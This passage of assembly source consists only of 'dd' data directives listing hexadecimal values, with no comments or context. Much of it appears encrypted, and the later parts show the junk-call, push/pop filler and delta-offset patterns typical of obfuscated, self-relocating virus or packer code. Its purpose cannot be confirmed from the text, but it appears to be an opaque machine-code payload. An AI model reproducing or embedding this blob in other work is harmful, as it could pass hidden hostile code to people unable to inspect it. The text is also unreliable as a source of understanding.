		dd 0DA027512h, 87C22831h, 0DEA41998h, 0DE643190h, 0DA207505h
		dd 0D0D32054h, 0E8A9C098h, 5B0B730Ch, 0DA027507h, 0DA0164F8h
		dd 0FF6CA311h, 53923D15h, 7A92E030h, 965602D3h,	0AF7FDA6h
		dd 9097BB90h, 5F8B10D6h, 0DC1C5B64h, 0E911F098h, 0DA2A730Ch
		dd 0DA239D43h, 80307511h, 8E812FD2h, 9E857135h,	0DA1E7135h
		dd 88437511h, 65F8B0D2h, 716D9D41h, 5FE65886h, 0DC0D6E34h
		dd 8A081F56h, 0DA0476F9h, 195A5511h, 0FE45FC49h, 0FEC4F415h
		dd 0DA406815h, 19703511h, 0AC9ADE0Bh, 61ED869Eh, 0D2EC0D70h
		dd 0BE027511h, 6D2ABE64h, 223330B0h, 275B1D4Eh,	0EEA18DB6h
		dd 0B0D13335h, 8B081F43h, 0DA0476F9h, 195B5511h, 0FE4DFC48h
		dd 0FEC4F415h, 0DA406815h, 19713411h, 70FDD210h, 18E123Dh
		dd 1ABBBC55h, 253700F5h, 0C71970A4h, 8C801F17h,	0DA4076F9h
		dd 197E5511h, 0FE64FC4Fh, 0FE4CF415h, 0DA046F15h, 19543311h
		dd 0BFB899DBh, 22CA4B39h, 0ADBFF09Ch, 25D57331h, 89101FC1h
		dd 0DA0876F9h, 195F5511h, 0FE5EFC4Ah, 0FE45F415h, 0DA806E15h
		dd 19133611h, 699A2E1Ah, 0D0B35A58h, 0C5C9F098h, 0D5ED730Ch
		dd 0B2027511h, 621A7D75h, 0AD7620Dh, 49427F2h, 0ADF3E09h
		dd 0F35DE09Ah, 5F81730Ch, 0DC19616Ch, 3255757Bh, 0DA017512h
		dd 85432A31h, 0DE640998h, 0DE043190h, 0DA107505h, 0F0CB2256h
		dd 0BADCF977h, 0C587C838h, 0BBFD730Ch, 0D3697135h, 79407511h
		dd 8DCFC2C8h, 0DE6811C9h, 5E07B51Bh, 0DA04769Dh, 3257757Bh
		dd 0DA017512h, 87432831h, 0DE641998h, 0DE043190h, 0DA107505h
		dd 0CDCB2054h, 2A8F1343h, 0FF87B34Fh, 9507680Ah, 32D7757Bh
		dd 0DA407512h, 85E32A31h, 0DE340998h, 0DE2C3190h, 0DA047507h
		dd 3CC12256h, 678AAF72h, 0DC9D5400h, 81F65479h,	0DA2D9CBDh
		dd 0E6C47511h, 0A7D5E376h, 0F066DB3Ch, 5BBAC2EDh, 0E45125h
		dd 0DAEA66CAh, 0DA439D44h, 87007511h, 0B69928D2h, 9E897135h
		dd 0DA1C7135h, 8F477511h, 6A9E46D2h, 6D8F153Eh,	0DFF58AE3h
		dd 0B0266809h, 0D9F82611h, 0FA087511h, 535FB64Ah, 5B06514Dh
		dd 0C1055155h, 99807511h, 807CB642h, 745FB012h,	5F9D72CDh
		dd 0DC2802EEh, 0FC25F838h, 0AFD730Ch, 0DA017BF9h, 564CD611h
		dd 433AB36Dh, 2F453136h, 0D54707A2h, 0DA08739Fh, 33B1FC11h
		dd 8504680Ah, 0B025B592h, 0D9682211h, 0FA407511h, 537FB64Eh
		dd 5B14516Dh, 0C00C5155h, 9D047511h, 80C7B646h,	24CF8803h
		dd 0BCE0154Fh, 0F90E9DAAh
		dd 0C712EC84h, 4F391417h, 0DC1566E0h, 27915C70h, 0BA046834h
		dd 0DE64C022h, 6709730Ch, 0DC5D6010h, 9FA5FC70h, 0BC166820h
		dd 5F838E9Ah, 0DC19616Ch, 0DA0264F8h, 54D86D11h, 0C2C5D15Bh
		dd 0F59B0AC9h, 4B0662B4h, 479B0499h, 0DC156AD0h, 0CAB1F810h
		dd 0B041730Ch, 0D9E92011h, 0FA807511h, 531DB64Ch, 5B24517Dh
		dd 0C7145155h, 9F087511h, 446BB644h, 47C0A3FBh,	3A65B509h
		dd 0F3F5F89Ah, 0C1CB730Ch, 3275757Bh, 0DA107512h, 87CB2831h
		dd 0DE201998h, 0DE263190h, 0DA01750Bh, 1432054h, 62799D0Dh
		dd 4F21DA8Bh, 0DC0D5EE4h, 0C821C09Ah, 6F8D730Ch, 0DC1F5BB8h
		dd 0DA6B6E9Ah, 0DA839D47h, 84607511h, 0AEA92BD2h, 9E917135h
		dd 0DA147135h, 8C427511h, 5EA095D2h, 92714698h,	2FE016DFh
		dd 0FF09E098h, 0BC41730Ch, 33A9EDA8h, 0DA087503h, 82B95269h
		dd 2113F86Ah, 5DF2240Bh, 5644FBFAh, 0C1CBA345h,	0DA2067F8h
		dd 0F5610711h, 6BFC228Ah, 8E1167F3h, 6339F928h,	0E90056DBh
		dd 6A3F13C9h, 43DDFCBBh, 0B026680Ah, 0D9F82211h, 0FA087511h
		dd 535BB64Eh, 5B06516Dh, 0C7055155h, 9D807511h,	539AB646h
		dd 266EEDA8h, 0F972246Ah, 0F55DE010h, 5FC2730Ch, 0DC1F6E34h
		dd 9FB4FC56h, 0B2866815h, 4138EDCDh, 0D9A07A42h, 0BC107511h
		dd 5B52A59Ah, 9EC95115h, 6F896977h, 0DC1C5AA0h,	0DF358AEDh
		dd 5A466809h, 5FADA0FBh, 0DC3002EEh, 6F81A5EEh,	0DC195CB8h
		dd 0FFB7F098h, 0DA6B730Ch, 0DA839D46h, 85607511h, 0A6A92AD2h
		dd 9E917135h, 0DA127135h, 8D437511h, 7EA6BED2h,	0B8F0187Eh
		dd 0DA869DE9h, 5ECF7511h, 73D2E935h, 0D285F89Ah, 9A52730Ch
		dd 5128A091h, 88021F11h, 0DA0176F9h, 19DA5511h,	0FE14FC4Bh
		dd 0FE64F415h, 0DA106F15h, 195A3711h, 1849CFA4h, 514A2BB3h
		dd 8B011F11h, 0DA8076F9h, 19195511h, 0FE6CFC48h, 0FE54F415h
		dd 0DA086215h, 19553411h, 40F81DE1h, 0E9A8F098h, 0DAEA730Ch
		dd 0DA439D40h, 83007511h, 96992CD2h, 9E897135h,	0DA107135h
		dd 8B437511h, 0C8E8AED2h, 52807511h, 75E9C9ECh,	0D3888161h
		dd 494BF73Ch, 8E94737Dh, 0DB439C77h, 0DA687511h, 0DA029D43h
		dd 80A07511h, 8EC92FD2h, 9EA17135h, 0DA0A7135h,	884A7511h
		dd 4E586AD2h, 93935C88h, 5F88829Ah, 0DC9D45A4h,	793CF09Ch
		dd 6FA97331h, 0DC0D4578h, 0FB11381h, 339425C5h,	0DA02751Dh
		dd 66AED066h, 4469D72h,	7006884Bh, 0F191E0EEh, 0CAF9730Ch
		dd 0A087511h, 0EA552C56h, 6684CB4Eh, 0C1817379h, 57031EA1h
		dd 0FAE3F78Ch, 8B201F17h, 0DA1076F9h, 19515511h, 0FE48FC48h
		dd 0FE46F415h, 0DA016C15h, 19D13411h, 0D1D648A6h, 4729F875h
		dd 0DC0D638Ch, 0DFCAF477h, 8A978D19h, 0DA1AF31Eh, 0D6E97511h
		dd 48807511h, 0B2A28236h, 454438EDh, 0D54186AAh, 0DA08759Fh
		dd 0B0972A11h, 0D9EA2411h, 0FA017511h, 53D9B648h, 5B44515Dh
		dd 0CC245155h, 9B107511h, 0F47FB640h, 0DE8D2564h, 8F021F35h
		dd 0DA0176F9h, 19DD5511h, 0FE2CFC4Ch, 0FE64F415h, 0DA106315h
		dd 195D3011h, 0D5AB7D69h, 0DA027791h, 25F4FF11h, 0C7B26C84h
		dd 25F77A17h, 0EB65F098h, 0DA7A730Ch, 0DA0B9D42h, 81247511h
		dd 868B2ED2h, 9E807135h, 0DA947135h, 89037511h,	0D7C93BD2h
		dd 1107511h, 8C0EA327h,	315EE196h, 4F12C662h, 0C75487A8h
		dd 0FF05B344h, 8946680Ah, 1CFAF477h, 0DA149D33h, 5E777511h
		dd 2F8EDF96h, 7FB5CA41h, 9E8A59FDh, 240B7135h, 9EC9759Ah
		dd 0BA737135h, 44440FAEh, 82511451h, 0DFB18AE8h, 32046809h
		dd 0DA017519h, 7C57DA97h, 2860D196h, 0DA2061F9h, 94975511h
		dd 0AC8BC300h, 6A7E0247h, 0D59E7A61h, 97AE2919h, 763E13F4h
		dd 571E2CA2h, 0FA578A94h, 0DC947A17h, 53087511h, 0C72314A4h
		dd 3831317h, 0AFE5329h,	0D5F1E898h, 0DFA9730Ch,	72207511h
		dd 9F919684h, 0CF61F098h, 0DDEC730Ch, 75027511h, 7FF31582h
		dd 2C01C4ADh, 0BE0765CBh, 0FFA5B34Fh, 9D16680Ah, 3258757Bh
		dd 0DA047512h, 82C12D31h, 0DE253198h, 0DEA43190h, 0DA40750Dh
		dd 17E32551h, 85CB7A14h, 6192A9A2h, 0DA047BF9h,	0C90F2111h
		dd 7C04699h, 968CF39Fh,	0BC431B04h, 6B9BAF90h, 9951D4Eh
		dd 646E171Eh, 0DE85F69Dh, 0B8407E35h, 8D011F2Eh, 0DA8076F9h
		dd 191F5511h, 0FE5CFC4Eh, 0FE54F415h, 0DA086315h, 19533211h
		dd 33E7324Dh, 0DA017502h, 5B5CA53Bh, 0B0E4B499h, 1F266294h
		dd 2B77C8D5h, 25894EE5h, 0C71C70A4h, 35831317h,	5F8CD484h
		dd 0DCA002EEh, 3217757Bh, 0DA207512h, 85D32A31h, 0DE2C0998h
		dd 0DE203190h, 0DA02750Ah, 4AC22256h, 986B9E03h, 253EBEC3h
		dd 8F9DFCC1h, 53166802h, 0C728F494h, 4B89FE17h,	0D3046819h
		dd 0C7337484h, 0FF05B317h, 8946680Ah, 3272757Bh, 0DA107512h
		dd 80CB2F31h, 0DE202198h, 0DE263190h, 0DA017508h, 0B1432753h
		dd 0A5B9EA63h, 2A977A63h, 0DA1071F9h, 0E357E511h, 32642688h
		dd 0DA027517h, 8D3E6D0h, 60D978EAh, 0B1724612h,	0D5702C70h
		dd 0DA10709Bh, 0AB42CB11h, 9E8F1A06h, 540D7135h, 0DA017504h
		dd 0DA879D71h, 0E0507511h, 973ED3BDh, 591F2CCFh, 0DA087511h
		dd 0BC04FE70h, 9E8B859Ah, 0BC617135h, 0BBE87CA9h, 8A401F49h
		dd 0DA2076F9h, 19485511h, 0FE4CFC49h, 0FE40F415h, 0DA026D15h
		dd 19513511h, 4C0DCB25h, 0DFF58A4Ah, 26266809h,	0ADEFF09Ch
		dd 25F07331h, 8B041FC1h, 0DA0276F9h, 19585511h,	0FECCFC48h
		dd 0FE04F415h, 0DA206D15h, 19413411h, 0E3173CD2h, 57897624h
		dd 53046803h, 0C7146C94h, 1C7BFE17h, 0C75B5094h, 26402217h
		dd 0F615F010h, 0B269730Ch, 9C83FFCFh, 0DA0265F9h, 0C6562611h
		dd 80749FD5h, 0AA27F3DAh, 895A7ADh, 0DF957A85h,	65087511h
		dd 0ADD4D98Bh, 0FE06F448h, 937DB239h, 32D5757Bh, 0DA407512h
		dd 87E32831h, 0DE341998h, 0DE2C3190h, 0DA047505h, 9DC12054h
		dd 0DA0167F8h, 978B5011h, 0BA96AD18h, 0C6049CEh, 0F543A609h
		dd 2527889Ch, 0C71C70A4h, 8B8F7417h, 60076834h,	9ACA990Bh
		dd 0ADBFF09Ch, 6D2F7331h, 0B0C08AC3h, 0D9E02611h, 0FA047511h
		dd 5359B64Ah, 5B05514Dh, 0CF845155h, 99407511h,	4A07B642h
		dd 0F6C5F098h, 0CEE1730Ch, 18047511h, 2071F1ADh, 5ED46562h
		dd 0C855FB3Bh, 8AF6F92Fh, 1CE3F608h, 0C70B5094h, 0DA623617h
		dd 0DA079D40h, 83227511h, 96882CD2h, 9E017135h,	0DA587135h
		dd 8B617511h, 3D6903D2h, 0AD605C2Bh, 63A1409Eh,	0D4224B5Ah
		dd 6B257190h, 0BC972FF1h, 6FBF869Ah, 0DC3D6D14h, 3246757Bh
		dd 0DA087512h, 84C72B31h, 0DE260198h, 0DE253190h, 0DA807509h
		dd 84832357h, 0DDF9E627h, 0ADEFF09Ch, 0DA627331h, 0DA079D42h
		dd 81227511h, 86882ED2h, 9E017135h, 0DA5A7135h,	89637511h
		dd 22441BD2h, 57149BD7h, 0F379C09Ah, 48BC730Ch,	253B4B00h
		dd 88801FC1h, 0DA4076F9h, 197A5511h, 0FE44FC4Bh, 0FE4CF415h
		dd 0DA046315h, 19503711h, 0D5BBA5E9h, 0DA807192h, 3AFF1311h
		dd 0D3A5FC85h, 33166813h, 0DA087514h, 0B8524EC2h, 0A887F8D3h
		dd 0B00755B2h, 0D9682411h, 0FA407511h, 5379B648h, 5B14515Dh
		dd 0CF0C5155h, 9B047511h, 0ADE1B640h, 8ACBFE77h, 0C5450EABh
		dd 0FE44FC55h, 25D5859Bh, 0C73BC484h, 8F081F17h, 0DA0476F9h
		dd 195F5511h, 0FE6DFC4Ch, 0FEC4F415h, 0DA406E15h, 19753011h
		dd 5AA31624h, 0E2D6815Fh, 67DBF477h, 0F3DAFECCh, 0C728549Ch
		dd 0E96EF417h, 576E5EDCh
		dd 0FA831394h, 28F2F517h, 8AD9C21Eh, 0DE8DA09Bh, 88021F35h
		dd 0DA0176F9h, 19DA5511h, 0FE14FC4Bh, 0FE64F415h, 0DA106015h
		dd 195A3711h, 6F27B76Ah, 0DC1F7CA8h, 1190FCAEh,	7F3DFC79h
		dd 4946683Fh, 64462741h, 0EB1FA887h, 0DA087FF8h, 563A6711h
		dd 591B25A7h, 802E7FD2h, 5C8F2549h, 0DA407506h,	51462741h
		dd 32217AEAh, 0DA087519h, 85CD5570h, 2ACE5280h,	49592F4Fh
		dd 0DA80FB1Eh, 4FBF7511h, 0DC3D4708h, 53E1CA1Eh, 0C7392494h
		dd 0FD53CA17h, 5FC55929h, 0DC1C7DF8h, 0DA80751Eh, 0C0B9C822h
		dd 0BC40730Ch, 2571A49Ah, 0C7392484h, 8F041F17h, 0DA0276F9h
		dd 195C5511h, 0FEECFC4Ch, 0FE04F415h, 0DA206115h, 19453011h
		dd 13BDFEC5h, 53026820h, 0C7293494h, 8A011F17h,	0DA8076F9h
		dd 19185511h, 0FE64FC49h, 0FE54F415h, 0DA086D15h, 19543511h
		dd 3666095Bh, 87B4FC82h, 53866804h, 0C76AB094h,	0DBA5FE17h
		dd 57166831h, 0FABDE28Ch, 0DB47FC17h, 0CD0FC89Ch, 6F8C730Ch
		dd 0DCA0C060h, 0DA4046A8h, 31848611h, 0DA10CD22h, 1A037511h
		dd 0C2C67665h, 0FE46FE11h, 0DAE9261Dh, 81807511h, 0DA57B690h
		dd 86A97511h, 9E996535h, 62536135h, 0DA9BD526h,	9E8995EEh
		dd 3AFE7135h, 32D1757Bh, 0DA407512h, 83E32C31h,	0DE343998h
		dd 0DE2C3190h, 0DA047506h, 2FC12450h, 0BAA1A666h, 51099291h
		dd 6FCB14DAh, 0DC3D6F6Ch, 3240757Bh, 0DA087512h, 82C72D31h
		dd 0DE263198h, 0DE253190h, 0DA807509h, 86832551h, 8E696378h
		dd 0E8B9F838h, 6369730Ch, 0C2E80E81h, 7964C89Ch, 578C7331h
		dd 0DCA0C309h, 0FCEB40A9h, 0D3A54689h, 0F1166837h, 98BAB4DEh
		dd 0CC251E0h, 181A8373h, 0CC0E1C8h, 78678173h, 11DC1C63h
		dd 0AC598900h, 0F305E983h, 0FD98BA4h, 1A8Ch, 0EE800h, 0F15F0000h
		dd 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh, 1C7DBD01h, 0BA59061Dh
		dd 2E05C2A6h, 4FE9h, 11870F00h,	0E9000000h, 0Ch, 6DD9893Ah
		dd 720457ABh, 9C82F492h, 1840F61h, 0F9000000h, 0C6B70F60h
		dd 6AC361FCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 51F8C350h, 6E9F5h, 81730000h
		dd 349CE675h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 21E180C3h, 40D2C97Dh, 10E9h, 0A93B9C00h
		dd 0C0C0D46Ch, 0CC3D65FCh, 1A995766h, 8840FA7h,	0F000000h
		dd 280h, 83616000h, 1D1669BDh, 9750006h, 121BD83h, 7400061Dh
		dd 8B535019h, 4B9B8C0h,	85890000h, 61D0F3Dh, 0A6A49D8Dh
		dd 0D3FF061Fh, 0BD83585Bh, 61D0121h, 50177400h,	4B9B853h
		dd 85890000h, 61D0F3Dh,	0A3459D8Dh, 0D3FF061Fh,	6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 201130C3h, 51CE46D9h, 60EF295Fh, 0DF816660h,	860FF3E6h
		dd 0
		dd 5E961h, 98BF0000h, 610793A4h, 0DE9h,	0E8346200h, 3FB310A1h
		dd 411276D7h, 6AF5FBFDh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0A007C353h,	8B934341h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8B607BDAh, 0D28166F2h, 4061523Dh, 6AC18Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4DD27C3h, 5F8B90C0h,	5DB58B60h, 8B061D03h, 1D118D9Dh
		dd 4EB6106h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D6C35747h
		dd 0B70F37D2h, 0A9B58BFBh, 6A061D00h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6F27C352h
		dd 0EAD87DD6h, 8DDE86C0h, 1D042185h, 6880F06h, 89000000h
		dd 1D1AD59Dh, 5250F806h, 2404895Eh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0CC35545h, 755B52Bh, 8D89061Dh
		dd 61D2BC5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0FEBCBCC3h, 6AF78B66h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C67310E1h, 0B5EB25BFh, 0F858D2Fh, 6A0620BAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 8DC3C351h, 8F06F149h, 8B66E803h, 1D3149BDh, 4DB50906h
		dd 83061D26h, 0E99005C0h, 0Dh, 94975B2h, 0CD6A9CFCh, 0FEC03223h
		dd 8E85058h, 67000000h,	80E7EF87h, 5E1AD672h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 4F6C2A72h, 528E86F0h, 2A98501h, 6A5E061Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B589B495h, 61D1865h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 994B62C3h, 3840F76h
		dd 0F000000h, 0B1BEFFB7h, 0FF0FEF30h, 1D2A3995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 9D8D8079h, 6209535h,	6850Fh,	0BD8B0000h, 61D2BA9h, 0B58BD3FFh
		dd 61D1081h, 3406EF81h,	85FF67D0h, 61D1BC1h, 0E9F0BF0Fh
		dd 7DFh, 0E8h, 0ED815D00h, 620BA19h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9EC35242h, 54EB4589h, 6860Fh
		dd 0B5890000h, 61D2761h, 35BD8B57h, 5F061D14h, 8E9BD81h
		dd 7D0061Dh, 860F0000h,	152h, 332AEE81h, 9D8B34A6h, 61D3331h
		dd 2F8DBD8Bh, 0E381061Dh, 100h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0F5C35545h,	81668D3Eh, 0B97DDC6h
		dd 0D6850FDBh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 49D7C353h, 0E4E6811Bh
		dd 834BBCBDh, 20B810BDh, 840F0006h, 3Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0B1C35747h, 0F6DE0A50h
		dd 0AE8h, 0EE074E00h, 0FFD89853h, 666FC2E8h, 0E95FF38Bh
		dd 96h,	9A19589h, 85C7061Dh, 620B810h, 1, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0C0C35141h, 6B6E0D71h
		dd 66164671h, 5E9F78Bh,	74000000h, 0BB9436F9h, 51E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0FD01CD30h, 986EE83Bh, 1A941BBEh, 1085C749h,	620B8h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0A437C355h, 9D8D7C10h,	61D3331h
		dd 0FEFF2381h, 0BE66FFFFh, 8C662EEFh, 50006ADBh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 3E06EE10h, 4C3F618h,	7F840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A80738C3h
		dd 0BD894882h, 61D123Dh, 315195FFh, 6A061Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 6EBEEDC3h
		dd 907188A3h, 66D68B60h, 613F0BBFh, 0FA8B6650h,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0CC694260h, 8B66F08Bh, 471E9F7h, 8A0F0000h, 1Dh, 11E8h
		dd 566E7E00h, 0D18FC45Fh, 0B61B8ED8h, 59507625h, 0BD89EB64h
		dd 61D1811h, 8900B05Fh,	1D01ADBDh, 6A70E606h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0B96DC355h, 8B616C04h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 64E0ACC3h, 0AD1E8600h
		dd 0F38B0CC3h, 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 6E8FC355h, 0BAF52155h
		dd 6, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 14h
		dd 0A7C35141h, 2FA5B589h, 0C38B061Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0F1C35545h,	10E9FCh, 0E00D0000h
		dd 0F622137Fh, 0AFC66B85h, 0E5B18197h, 0E8C14E41h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 94BA222Fh, 669BC6CFh, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0E14A8DC3h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 353A7C3h, 11E90Ch, 34820000h, 0BBB46248h, 0A45D1E76h
		dd 8F2D8406h, 0E98AF9A0h, 0Fh, 7D0E20B0h, 0CEA393C0h, 45023584h
		dd 500D4BD6h, 2CD7D8BEh, 241C8933h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9BC35242h, 0BE0F2242h, 68F0Fh
		dd 85010000h, 61D0409h,	1C75BD8Bh, 0B5FF061Dh, 61D08E9h
		dd 0F869EF81h, 95FF2D5Eh, 61D1209h, 2D6D9509h, 0CE81061Dh
		dd 5D095D81h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 71404DC3h, 0CDD1F8Dh, 0B70F70E6h
		dd 8B71E4F3h, 1D18ADB5h, 0F613C06h, 25A83h, 2DBD8B00h
		dd 0F061D2Eh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 28549EC3h, 8B428097h, 6BAFEh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B0419C3h, 4E8C1C3h,	26C59589h, 0F766061Dh, 56006AE2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5FE02D27h, 6AD82BEEh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 92AC353h, 3FFF91Fh
		dd 9F653618h, 0DDBD8958h, 2B061D22h, 0A8880FD8h, 0B9000001h
		dd 7, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 16h
		dd 0E3C35545h, 0CE9F32Ah, 3B000000h, 6B7FA85Ah,	199D1D10h
		dd 8BAE3916h, 0BD8B57F9h, 61D2C81h, 0C1835Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 80C35646h, 51AD42BCh
		dd 3B5FF28Bh, 3C860FD9h, 0F000001h, 683h, 21850900h, 66061D09h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E84FDEC3h, 0Fh, 72FB698Bh, 3DA1BF8Fh, 0A55E49D0h
		dd 2941E690h, 1D17FD9Dh, 0B70F5F06h, 4C1F6F2h, 0E7840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 9B79F2C3h, 3892CE09h, 95FF915Bh
		dd 61D3151h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0C6C35242h, 2A816E43h, 0BC77799h, 1D1FD9BDh, 6A5B06h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0AAEEECC3h, 49BD8BAFh, 89061D09h, 1D1709BDh,	6AC32B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0A2E7C353h, 2A31BD8Bh, 8A60061Dh,	0A99589C2h
		dd 61061D2Ch, 8343Dh, 2E860F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0B209C356h
		dd 3083D80Ch, 8E97BD1h,	89000000h, 1D1539B5h, 8BC08B06h
		dd 6AD88BC3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 33A3C351h, 6893D772h, 8B4C6147h
		dd 0F985C7F2h, 1B061D2Eh, 6A1A3097h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0B743C352h
		dd 0BD8BF729h, 61D08B1h, 6E9h, 0F40F5800h, 8BD228E9h, 21B523C0h
		dd 81061D19h, 1D08E9BDh, 7D006h, 0C850F00h, 8B000000h
		dd 1D1B1DB5h, 0E985FF06h, 0FF061D08h, 1D08E9B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 95FF9B39h, 61D1209h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0B6C35343h, 1884117h,	0BFD66D72h, 7FDF4591h
		dd 5678B890h, 6A1234h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 7E39C6C3h, 6EC042C1h, 8D40A000h
		dd 20C1B19Dh, 0F82EE906h, 8B60FFFFh, 1D1CC585h,	0E8816606h
		dd 8B619ED9h, 458D29C1h, 0EB061D25h, 4,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 26AE6964h, 2805CC4Ah, 0B58B04DEh, 61D1949h, 953D74BEh
		dd 21858D26h, 90061D04h, 50F18B66h, 6E9h, 8A23C00h, 90130599h
		dd 89006AF8h, 1D2C81B5h, 840F5706h, 6, 651BD89h, 6A5F061Dh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 6663A8FEh, 8D6505BFh, 20C3CD85h,	0C083F806h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 13E9906Ch, 0AB000000h, 0C9D30E9Eh, 0A8F896D8h
		dd 0B8315DADh, 8D51ECA2h, 5050A67Fh, 13E952h, 92580000h
		dd 0EFE4BBD2h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 5A310FBFh
		dd 6A9058h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0A621C8C3h, 35C9EF81h, 8B603171h,	1D116985h
		dd 8E906h, 0B3EF0000h, 0C068266Ch, 6A618314h, 3BF6600h
		dd 66006A7Dh, 41A3E781h, 2A3995FFh, 6A061Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7D810C3h
		dd 0B4D6C408h, 12218D29h, 9D8D061Dh, 6209535h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 16C35747h, 891E8A63h
		dd 0C46ADDC5h, 89D3FF28h, 1D13E995h, 0C98D0106h, 0FF061D06h
		dd 1D1BC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 10966097h, 10E8DEh, 7D970000h, 0E25FC4AFh
		dd 0BDCBE780h, 6CFD3894h, 0F78B7DC8h, 0C49E95Fh, 0E80000h
		dd 5D000000h, 0C3D7ED81h, 0BD810620h, 61D08E9h,	7D0h, 10A860Fh
		dd 9D8B0000h, 61D2B89h,	21C19589h, 0E381061Dh, 100h, 51B52Bh
		dd 0DB0B061Dh, 0AA850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 203B75C3h, 0BD83C5A3h
		dd 620C1FDh, 40840F00h,	6A000000h, 3E85500h, 20000000h
